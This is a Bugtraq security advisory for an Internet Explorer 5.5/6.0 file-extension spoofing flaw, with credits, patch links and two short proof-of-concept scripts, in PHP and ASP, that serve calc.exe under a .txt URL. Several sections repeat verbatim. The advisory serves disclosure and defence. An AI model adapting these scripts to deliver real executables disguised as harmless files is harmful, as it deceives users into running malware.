Microsoft Internet Explorer Spoofable File Extensions Vulnerability
BID:3597
Info
Microsoft Internet Explorer Spoofable File Extensions Vulnerability
| Bugtraq ID: | 3597 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 26 2001 12:00AM |
| Updated: | Nov 26 2001 12:00AM |
| Credit: | Discovered by Jouko Pynnonen <[email protected]>. |
| Vulnerable: |
Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer Spoofable File Extensions Vulnerability
It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.
When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.
The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.
* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems.
It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.
When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.
The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.
* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems.
Exploit / POC
Microsoft Internet Explorer Spoofable File Extensions Vulnerability
StatiC <[email protected]> submitted the following example to BugTraq:
With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.
1. Copy the real windows calc.exe from a windows system to the html root dir.
2. Copy the readme.txt file below to the same html root dir.
3. go to the url http://yourserver/readme.txt
You will see the same behavior mentioned in the previous alert.
FILE <readme.txt> BEGIN ----
<?php
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=calc.exe");
readfile("calc.exe");
?>
FILE <readme.txt> END ----
"Jonathan G. Lampe" <[email protected]> submitted this example in ASP for IIS webservers:
<%
Const adTypeBinary = 1
Dim strFilePath
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"
strFilePath = Server.MapPath(".") & "\calc.exe"
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath
Response.BinaryWrite objStream.Read
objStream.Close
Set objStream = Nothing
%>
StatiC <[email protected]> submitted the following example to BugTraq:
With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.
1. Copy the real windows calc.exe from a windows system to the html root dir.
2. Copy the readme.txt file below to the same html root dir.
3. go to the url http://yourserver/readme.txt
You will see the same behavior mentioned in the previous alert.
FILE <readme.txt> BEGIN ----
<?php
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=calc.exe");
readfile("calc.exe");
?>
FILE <readme.txt> END ----
"Jonathan G. Lampe" <[email protected]> submitted this example in ASP for IIS webservers:
<%
Const adTypeBinary = 1
Dim strFilePath
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"
strFilePath = Server.MapPath(".") & "\calc.exe"
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath
Response.BinaryWrite objStream.Read
objStream.Close
Set objStream = Nothing
%>
Solution / Fix
Microsoft Internet Explorer Spoofable File Extensions Vulnerability
Solution:
Microsoft has released new fixes:
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 5.5 SP1
Microsoft Internet Explorer 6.0
Solution:
Microsoft has released new fixes:
Microsoft Internet Explorer 5.5 SP2
-
Microsoft q316059_IE 5.5SP2
http://download.microsoft.com/download/ie55sp2/secpac25/5.5_sp2/WIN98M e/EN-US/q316059.exe
Microsoft Internet Explorer 5.5 SP1
-
Microsoft q316059_IE 5.5SP1
http://download.microsoft.com/download/ie55sp1/secpac25/5.5_sp1/WIN98M e/EN-US/q316059.exe
Microsoft Internet Explorer 6.0
-
Microsoft q316059_IE6
http://download.microsoft.com/download/IE60/secpac25/6/W98NT42KMeXP/EN -US/q316059.exe
References
Microsoft Internet Explorer Spoofable File Extensions Vulnerability
References:
References:
- Microsoft Security Bulletin MS01-058 Cumulative Patch for IE (Microsoft)
- Microsoft Security Bulletin MS02-005 (Microsoft)